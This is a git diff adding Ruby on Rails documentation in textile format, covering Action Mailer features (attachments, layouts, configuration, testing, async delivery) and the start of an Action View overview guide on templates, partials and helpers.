+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+
+* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:
+
+<ruby>
+def welcome
+  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+end
+</ruby>
+
+* Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling +url+ on it and then passing the result into the <tt>image_tag</tt> method:
+
+<erb>
+<p>Hello there, this is our image</p>
+
+<%= image_tag attachments['image.jpg'].url %>
+</erb>
+
+* As this is a standard call to +image_tag+ you can pass in an options hash after the attachment URL as you could for any other image:
+
+<erb>
+<p>Hello there, this is our image</p>
+
+<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
+                                            :class => 'photos' %>
+</erb>
+
+h5. Sending Email To Multiple Recipients
+
+It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
+
+<ruby>
+class AdminMailer < ActionMailer::Base
+  default :to => Proc.new { Admin.pluck(:email) },
+          :from => "notification@example.com"
+
+  def new_registration(user)
+    @user = user
+    mail(:subject => "New User Signup: #{@user.email}")
+  end
+end
+</ruby>
+
+The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
+
+h5. Sending Email With Name
+
+Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
+to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
+
+<ruby>
+def welcome_email(user)
+  @user = user
+  email_with_name = "#{@user.name} <#{@user.email}>"
+  mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
+end
+</ruby>
+
+h4. Mailer Views
+
+Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.html.erb+ for the HTML version and +welcome_email.text.erb+ for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  default :from => "notifications@example.com"
+
+  def welcome_email(user)
+    @user = user
+    @url  = "http://example.com/login"
+    mail(:to => user.email,
+         :subject => "Welcome to My Awesome Site",
+         :template_path => 'notifications',
+         :template_name => 'another')
+  end
+end
+</ruby>
+
+In this case it will look for templates at +app/views/notifications+ with name +another+.
+
+If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  default :from => "notifications@example.com"
+
+  def welcome_email(user)
+    @user = user
+    @url  = "http://example.com/login"
+    mail(:to => user.email,
+         :subject => "Welcome to My Awesome Site") do |format|
+      format.html { render 'another_template' }
+      format.text { render :text => 'Render text' }
+    end
+  end
+
+end
+</ruby>
+
+This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc.
+
+h4. Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as +user_mailer.html.erb+ and +user_mailer.text.erb+ to be automatically recognized by your mailer as a layout.
+
+In order to use a different file just use:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+</ruby>
+
+Just like with controller views, use +yield+ to render the view inside the layout.
+
+You can also pass in a <tt>:layout => 'layout_name'</tt> option to the render call inside the format block to specify different layouts for different actions:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    mail(:to => user.email) do |format|
+      format.html { render :layout => 'my_layout' }
+      format.text
+    end
+  end
+end
+</ruby>
+
+Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.
+
+h4. Generating URLs in Action Mailer Views
+
+URLs can be generated in mailer views using +url_for+ or named routes.
+
+Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
+
+<erb>
+<%= url_for(:host => "example.com",
+            :controller => "welcome",
+            :action => "greeting") %>
+</erb>
+
+When using named routes you only need to supply the +:host+:
+
+<erb>
+<%= user_url(@user, :host => "example.com") %>
+</erb>
+
+Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
+
+It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>:
+
+<ruby>
+config.action_mailer.default_url_options = { :host => "example.com" }
+</ruby>
+
+If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided.
+
+h4. Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
+
+The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    @user = user
+    @url  = user_url(@user)
+    mail(:to => user.email,
+         :subject => "Welcome to My Awesome Site") do |format|
+      format.html
+      format.text
+    end
+  end
+end
+</ruby>
+
+Will put the HTML part first, and the plain text part second.
+
+h4. Sending Emails with Attachments
+
+Attachments can be added by using the +attachments+ method:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    @user = user
+    @url  = user_url(@user)
+    attachments['terms.pdf'] = File.read('/path/terms.pdf')
+    mail(:to => user.email,
+         :subject => "Please see the Terms and Conditions attached")
+  end
+end
+</ruby>
+
+The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages.
+
+h3. Receiving Emails
+
+Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
+
+* Implement a +receive+ method in your mailer.
+
+* Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'+.
+
+Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def receive(email)
+    page = Page.find_by_address(email.to.first)
+    page.emails.create(
+      :subject => email.subject,
+      :body => email.body
+    )
+
+    if email.has_attachments?
+      email.attachments.each do |attachment|
+        page.attachments.create({
+          :file => attachment,
+          :description => email.subject
+        })
+      end
+    end
+  end
+end
+</ruby>
+
+h3. Using Action Mailer Helpers
+
+Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
+
+h3. Action Mailer Configuration
+
+The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
+
+|+template_root+|Determines the base from which template references will be made.|
+|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.|
+|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt>  - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>|
+|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>|
+|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.|
+|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.|
+|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|+async+|Setting this flag will turn on asynchronous message sending, message rendering and delivery will be pushed to <tt>Rails.queue</tt> for processing.|
+|+default_options+|Allows you to set default values for the <tt>mail</tt> method options (<tt>:from</tt>, <tt>:reply_to</tt>, etc.).|
+
+h4. Example Action Mailer Configuration
+
+An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
+
+<ruby>
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   :location => '/usr/sbin/sendmail',
+#   :arguments => '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: "no-replay@example.org"}
+</ruby>
+
+h4. Action Mailer Configuration for GMail
+
+As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
+
+<ruby>
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  :address              => "smtp.gmail.com",
+  :port                 => 587,
+  :domain               => 'baci.lindsaar.net',
+  :user_name            => '<username>',
+  :password             => '<password>',
+  :authentication       => 'plain',
+  :enable_starttls_auto => true  }
+</ruby>
+
+h3. Mailer Testing
+
+By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
+
+Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
+
+<ruby>
+class UserMailerTest < ActionMailer::TestCase
+  def test_welcome_email
+    user = users(:some_user_in_your_fixtures)
+
+    # Send the email, then test that it got queued
+    email = UserMailer.welcome_email(user).deliver
+    assert !ActionMailer::Base.deliveries.empty?
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal [user.email], email.to
+    assert_equal "Welcome to My Awesome Site", email.subject
+    assert_match "<h1>Welcome to example.com, #{user.name}</h1>", email.body.to_s
+    assert_match "you have joined to example.com community", email.body.to_s
+  end
+end
+</ruby>
+
+In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
+
+h3. Asynchronous
+
+You can turn on application-wide asynchronous message sending by adding to your <tt>config/application.rb</tt> file:
+
+<ruby>
+config.action_mailer.async = true
+</ruby>
+
+Alternatively you can turn on async within specific mailers:
+
+<ruby>
+class WelcomeMailer < ActionMailer::Base
+  self.async = true
+end
+</ruby>
+
+h4. Custom Queues
+
+If you need a different queue than <tt>Rails.queue</tt> for your mailer you can override <tt>ActionMailer::Base#queue</tt>:
+
+<ruby>
+class WelcomeMailer < ActionMailer::Base
+  def queue
+    MyQueue.new
+  end
+end
+</ruby>
+
+Your custom queue should expect a job that responds to <tt>#run</tt>.
diff --git a/guides/source/action_view_overview.textile b/guides/source/action_view_overview.textile
new file mode 100644
index 0000000000..1fd98a5bbe
--- /dev/null
+++ b/guides/source/action_view_overview.textile
@@ -0,0 +1,1596 @@
+h2. Action View Overview
+
+In this guide you will learn:
+
+* What Action View is, and how to use it with Rails
+* How to use Action View outside of Rails
+* How best to use templates, partials, and layouts
+* What helpers are provided by Action View, and how to make your own
+* How to use localized views
+
+endprologue.
+
+h3. What is Action View?
+
+Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
+
+Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
+
+NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
+
+h3. Using Action View with Rails
+
+For each controller there is an associated directory in the <tt>app/views</tt> directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+
+Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
+
+<shell>
+$ rails generate scaffold post
+      [...]
+      invoke  scaffold_controller
+      create    app/controllers/posts_controller.rb
+      invoke    erb
+      create      app/views/posts
+      create      app/views/posts/index.html.erb
+      create      app/views/posts/edit.html.erb
+      create      app/views/posts/show.html.erb
+      create      app/views/posts/new.html.erb
+      create      app/views/posts/_form.html.erb
+      [...]
+</shell>
+
+There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
+For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of this three components.
+
+h3. Using Action View outside of Rails
+
+Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+
+Let's start by ensuring that you have the Action Pack and Rack gems installed:
+
+<shell>
+$ gem install actionpack
+$ gem install rack
+</shell>
+
+Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Active Support.
+
+*hello_world.rb:*
+
+<ruby>
+require 'active_support/core_ext/string/inflections'
+require 'rack'
+
+def hello_world(env)
+  [200, {"Content-Type" => "text/html"}, "hello world".titleize]
+end
+
+Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567
+</ruby>
+
+We can see this all come together by starting up the application and then visiting +http://localhost:4567/+
+
+<shell>
+$ ruby hello_world.rb
+</shell>
+
+TODO needs a screenshot? I have one - not sure where to put it.
+
+Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method.
+
+Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way.
+
+Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
+
+<shell>
+$ gem install actionpack
+$ gem install sinatra
+</shell>
+
+Now we'll create the same "Hello World" application in Sinatra.
+
+*hello_world.rb:*
+
+<ruby>
+require 'action_view'
+require 'sinatra'
+
+get '/' do
+  erb 'hello world'.titleize
+end
+</ruby>
+
+Then, we can run the application:
+
+<shell>
+$ ruby hello_world.rb
+</shell>
+
+Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+
+
+TODO needs a screenshot? I have one - not sure where to put it.
+
+h3. Templates, Partials and Layouts
+
+As mentioned before, the final HTML output is a composition of three Rails elements: +Templates+, +Partials+ and +Layouts+.
+Find below a brief overview of each one of them.
+
+h4. Templates
+
+Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then a fresh instance of <tt>Builder::XmlMarkup</tt> library is used.
+
+Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have <tt>.html.erb</tt> as a file extension.
+
+h5. ERB
+
+Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+ tags. The +<% %>+ are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the +<%= %>+ tags are used when you want output.
+
+Consider the following loop for names:
+
+<erb>
+<b>Names of all the people</b>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br/>
+<% end %>
+</erb>
+
+The loop is setup in regular embedding tags +<% %>+ and the name is written using the output embedding tag +<%= %>+. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+
+<erb>
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+</erb>
+
+To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+.
+
+h5. Builder
+
+Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+
+Here are some basic examples:
+
+<ruby>
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href"=>"http://rubyonrails.org")
+xml.target("name"=>"compile", "option"=>"fast")
+</ruby>
+
+will produce
+
+<html>
+<em>emphasized</em>
+<em><b>emph &amp; bold</b></em>
+<a href="http://rubyonrails.org">A link</a>
+<target option="fast" name="compile" />
+</html>
+
+Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+
+<ruby>
+xml.div {
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+}
+</ruby>
+
+would produce something like:
+
+<html>
+<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+</html>
+
+A full-length RSS example actually used on Basecamp:
+
+<ruby>
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    for item in @recent_items
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(item))
+        xml.link(@person.firm.account.url + @recent_items.url(item))
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+</ruby>
+
+h5. Template Caching
+
+By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
+
+h4. Partials
+
+Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
+h5. Naming Partials
+
+To render a partial as part of a view, you use the +render+ method within the view:
+
+<ruby>
+<%= render "menu" %>
+</ruby>
+
+This will render a file named +_menu.html.erb+ at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+<ruby>
+<%= render "shared/menu" %>
+</ruby>
+
+That code will pull in the partial from +app/views/shared/_menu.html.erb+.
+
+h5. Using Partials to simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+<erb>
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render :partial => "product", :locals => { :product => product } %>
+<% end %>
+
+<%= render "shared/footer" %>
+</erb>
+
+Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+h5. The :as and :object options
+
+By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given
+
+<erb>
+<%= render :partial => "product" %>
+</erb>
+
+within product we'll get <tt>@product</tt> in the local variable +product+, as if we had written:
+
+<erb>
+<%= render :partial => "product", :locals => { :product  => @product } %>
+</erb>
+
+With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we wanted it to be +item+ instead of product+ we'd do:
+
+<erb>
+<%= render :partial => "product", :as => 'item' %>
+</erb>
+
+The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance.
+
+For example, instead of:
+
+<erb>
+<%= render :partial => "product", :locals => { :product  => @item } %>
+</erb>
+
+you'd do:
+
+<erb>
+<%= render :partial => "product", :object => @item %>
+</erb>
+
+The <tt>:object</tt> and <tt>:as</tt> options can be used together.
+
+h5. Rendering Collections
+
+The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within.
+So the three-lined example for rendering all the products can be rewritten with a single line:
+
+<erb>
+<%= render :partial => "product", :collection => @products %>
+</erb>
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+ , and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
+
+You can use a shorthand syntax for rendering collections. Assuming @products is a collection of +Product+ instances, you can simply write the following to produce the same result:
+
+<erb>
+<%= render @products %>
+</erb>
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
+
+h5. Spacer Templates
+
+You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
+
+<erb>
+<%= render @products, :spacer_template => "product_ruler" %>
+</erb>
+
+Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
+
+h4. Layouts
+
+TODO...
+
+h3. Using Templates, Partials and Layouts in "The Rails Way"
+
+TODO...
+
+h3. Partial Layouts
+
+Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+
+Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+:
+
+<ruby>
+Post.create(:body => 'Partial Layouts are cool!')
+</ruby>
+
+In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout:
+
+*posts/show.html.erb*
+
+<ruby>
+<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
+</ruby>
+
+The +box+ layout simply wraps the +post+ partial in a +div+:
+
+*posts/_box.html.erb*
+
+<ruby>
+<div class='box'>
+  <%= yield %>
+</div>
+</ruby>
+
+The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper:
+
+*posts/_post.html.erb*
+
+<ruby>
+<%= div_for(post) do %>
+  <p><%= post.body %></p>
+<% end %>
+</ruby>
+
+This example would output the following:
+
+<html>
+<div class='box'>
+  <div id='post_1'>
+    <p>Partial Layouts are cool!</p>
+  </div>
+</div>
+</html>
+
+Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+
+You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead:
+
+*posts/show.html.erb*
+
+<ruby>
+<% render(:layout => 'box', :locals => {:post => @post}) do %>
+  <%= div_for(post) do %>
+    <p><%= post.body %></p>
+  <% end %>
+<% end %>
+</ruby>
+
+If we're using the same +box+ partial from above, his would produce the same output as the previous example.
+
+h3. View Paths
+
+TODO...
+
+h3. Overview of all the helpers provided by Action View
+
+The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.
+
+h4. ActiveRecordHelper
+
+The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
+
+h5. error_message_on
+
+Returns a string containing the error message attached to the method on the object if one exists.
+
+<ruby>
+error_message_on "post", "title"
+</ruby>
+
+h5. error_messages_for
+
+Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
+
+<ruby>
+error_messages_for "post"
+</ruby>
+
+h5. form
+
+Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
+
+<ruby>
+form("post")
+</ruby>
+
+<html>
+<form action='/posts/create' method='post'>
+  <p>
+    <label for="post_title">Title</label><br />
+    <input id="post_title" name="post[title]" type="text" value="Hello World" />
+  </p>
+  <p>
+    <label for="post_body">Body</label><br />
+    <textarea id="post_body" name="post[body]"></textarea>
+  </p>
+  <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
+
+h5. input
+
+Returns a default input tag for the type of object returned by the method.
+
+For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World":
+
+<ruby>
+input("post", "title") # =>
+  <input id="post_title" name="post[title]" type="text" value="Hello World" />
+</ruby>
+
+h4. RecordTagHelper
+
+This module provides methods for generating container tags, such as +div+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
+
+h5. content_tag_for
+
+Renders a container tag that relates to your Active Record Object.
+
+For example, given +@post+ is the object of +Post+ class, you can do:
+
+<ruby>
+<%= content_tag_for(:tr, @post) do %>
+  <td><%= @post.title %></td>
+<% end %>
+</ruby>
+
+This will generate this HTML output:
+
+<html>
+<tr id="post_1234" class="post">
+  <td>Hello World!</td>
+</tr>
+</html>
+
+You can also supply HTML attributes as an additional option hash. For example:
+
+<ruby>
+<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
+  <td><%= @post.title %></td>
+<% end %>
+</ruby>
+
+Will generate this HTML output:
+
+<html>
+<tr id="post_1234" class="post frontpage">
+  <td>Hello World!</td>
+</tr>
+</html>
+
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects:
+
+<ruby>
+<%= content_tag_for(:tr, @posts) do |post| %>
+  <td><%= post.title %></td>
+<% end %>
+</ruby>
+
+Will generate this HTML output:
+
+<html>
+<tr id="post_1234" class="post">
+  <td>Hello World!</td>
+</tr>
+<tr id="post_1235" class="post">
+  <td>Ruby on Rails Rocks!</td>
+</tr>
+</html>
+
+h5. div_for
+
+This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
+
+<ruby>
+<%= div_for(@post, :class => "frontpage") do %>
+  <td><%= @post.title %></td>
+<% end %>
+</ruby>
+
+Will generate this HTML output:
+
+<html>
+<div id="post_1234" class="post frontpage">
+  <td>Hello World!</td>
+</div>
+</html>
+
+h4. AssetTagHelper
+
+This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +config.action_controller.asset_host+ in the application configuration, typically in +config/environments/production.rb+. For example, let's say your asset host is +assets.example.com+:
+
+<ruby>
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+</ruby>
+
+h5. register_javascript_expansion
+
+Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +vendor/assets/javascripts+.
+
+<ruby>
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
+
+javascript_include_tag :monkey # =>
+  <script src="/assets/head.js"></script>
+  <script src="/assets/body.js"></script>
+  <script src="/assets/tail.js"></script>
+</ruby>
+
+h5. register_stylesheet_expansion
+
+Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +vendor/assets/stylesheets+.
+
+<ruby>
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
+
+stylesheet_link_tag :monkey # =>
+  <link href="/assets/head.css" media="screen" rel="stylesheet" />
+  <link href="/assets/body.css" media="screen" rel="stylesheet" />
+  <link href="/assets/tail.css" media="screen" rel="stylesheet" />
+</ruby>
+
+h5. auto_discovery_link_tag
+
+Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+
+<ruby>
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # =>
+  <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
+</ruby>
+
+h5. image_path
+
+Computes the path to an image asset in the +app/assets/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
+
+<ruby>
+image_path("edit.png") # => /assets/edit.png
+</ruby>
+
+Fingerprint will be added to the filename if config.assets.digest is set to true.
+
+<ruby>
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+</ruby>
+
+h5. image_url
+
+Computes the url to an image asset in the +app/asset/images+ directory. This will call +image_path+ internally and merge with your current host or your asset host.
+
+<ruby>
+image_url("edit.png") # => http://www.example.com/assets/edit.png
+</ruby>
+
+h5. image_tag
+
+Returns an html image tag for the source. The source can be a full path or a file that exists in your +app/assets/images+ directory.
+
+<ruby>
+image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
+</ruby>
+
+h5. javascript_include_tag
+
+Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +app/assets/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
+
+<ruby>
+javascript_include_tag "common" # => <script src="/assets/common.js"></script>
+</ruby>
+
+If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +app/assets/javascripts+ directory, it will be included as well.
+
+<ruby>
+javascript_include_tag :defaults
+</ruby>
+
+You can also include all JavaScript files in the +app/assets/javascripts+ directory using +:all+ as the source.
+
+<ruby>
+javascript_include_tag :all
+</ruby>
+
